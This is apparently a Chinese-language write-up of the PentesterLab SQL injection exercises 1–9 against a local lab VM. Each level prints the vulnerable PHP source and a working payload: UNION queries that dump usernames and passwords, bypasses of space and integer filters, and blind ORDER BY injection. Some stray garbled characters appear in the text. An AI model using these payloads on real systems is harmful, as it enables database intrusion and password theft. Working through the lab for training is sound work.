SQL injections
example1
http://192.168.132.131/sqli/example1.php?name=root //初看為字符串型
1.判斷列數(shù)
http://192.168.132.131/sqli/example1.php?name=root' order by 5 --+ 成功
http://192.168.132.131/sqli/example1.php?name=root' order by 6 --+ 失敗
列數(shù)為5
2.查詢庫名和版本號
得到庫名為exercises ~~~~~~~ 數(shù)據(jù)庫版本為5.1.66-0+squeeze1~~~~~~主機(jī)用戶名:pentesterlab@localhost
3.查詢庫的表名
http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() --+
可以看到只有一張表為users
4.查詢字段名(列名)
http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=‘users’ --+
得到5個列名分別為id,name,age,groupid,passwd
5.查詢所有數(shù)據(jù)
http://192.168.132.131/sqli/example1.php?name=root' union select group_concat(id,' ',name,' ',age),group_concat(passwd),3,4,5 from users --+
可以看到所有數(shù)據(jù)出來了
貼個源碼
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require_once '../footer.php';
?>
發(fā)現(xiàn)沒有任何過濾..........
example2
http://192.168.132.131/sqli/example2.php?name=root%27%20or%201=1%20#
顯示ERROR NO SPACE 看來是過濾了啥竞端,執(zhí)行不了葱轩,懶得試了看看源碼
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/ /', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
有個preg_match函數(shù)過濾,preg_match — 執(zhí)行一個正則表達(dá)式匹配
也就是過濾了空格拴测,所以直接注釋空格就好了
192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23
example3
好生奇怪第三關(guān)直接可以用第二關(guān)的payload
192.168.132.131/sqli/example2.php?name=root'/**/union/**/select/**/group_concat(id,name,age),2,3,4,5/**/from/**/users/**/%23
直接爆出數(shù)據(jù)來
看看源碼去
<?php
require_once('../header.php');
require_once('db.php');
if (preg_match('/\s+/', $_GET["name"])) {
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
這個顯得更加高級一點
example4
這關(guān)換成id了割坠,http://192.168.132.131/sqli/example4.php?id=2%20order%20by%205#
一試發(fā)現(xiàn)是數(shù)字型注入乌妒,老辦法來,直接給出payload
看看源碼
<?php
require_once('../header.php');
require_once('db.php');
$sql="SELECT * FROM users where id=";
$sql.=mysql_real_escape_string($_GET["id"])." ";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
有個過濾函數(shù)粤蝎,mysql_real_ecape_string()對特殊符號轉(zhuǎn)義碰缔,但這數(shù)字型沒有特殊符號赋除,就繞過了
example5
額阱缓,上題payload同樣可以適用
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
正則表達(dá),匹配非數(shù)字型的過濾举农,高級一點而已荆针,同樣繞過
example6
有點迷,不知道怎么過濾的颁糟,猜測是有 /[0-9]+/ 之類的過濾航背。根據(jù)上一題,猜測是只匹配了$棱貌,于是在#后面加上個數(shù)字吧,看下源碼
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"] ;
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
/[0-9]+$/匹配末尾為數(shù)字就可以了玖媚,直接給出payload
example7
試了幾個都沒用,看看源碼
<?php
require_once('../header.php');
require_once('db.php');
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th><th>age</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
發(fā)現(xiàn)/m可以匹配多行
查到%0A可以結(jié)尾每行婚脱,試試上payload
example8
<?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr>
<th><a href="example8.php?order=id">id</th>
<th><a href="example8.php?order=name">name</th>
<th><a href="example8.php?order=age">age</th>
</tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
看了源碼直接丟sqlmap里跑吧今魔!
http://192.168.132.131/sqli/example8.php?order=id`, (select case when (1=1) then 1 else 1*(select table_name from information_schema.tables)end)=1%23
example9
?php
require_once('../header.php');
require_once('db.php');
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
if ($result) {
?>
<table class='table table-striped'>
<tr>
<th><a href="example9.php?order=id">id</th>
<th><a href="example9.php?order=name">name</th>
<th><a href="example9.php?order=age">age</th>
</tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "<td>".$row['age']."</td>";
echo "</tr>";
}
echo "</table>";
}
require '../footer.php';
?>
同理直接上payload
http://192.168.132.131//sqli/example9.php?order=(select CASE WHEN (SELECT ASCII(SUBSTRING(passwd, 1, 1)) FROM users where name = 0x726f6f74) = 98 THEN age ELSE id END)%23